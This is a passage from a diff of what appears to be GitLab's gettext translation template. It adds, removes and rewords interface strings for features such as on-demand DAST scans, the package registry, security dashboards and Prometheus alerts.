-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
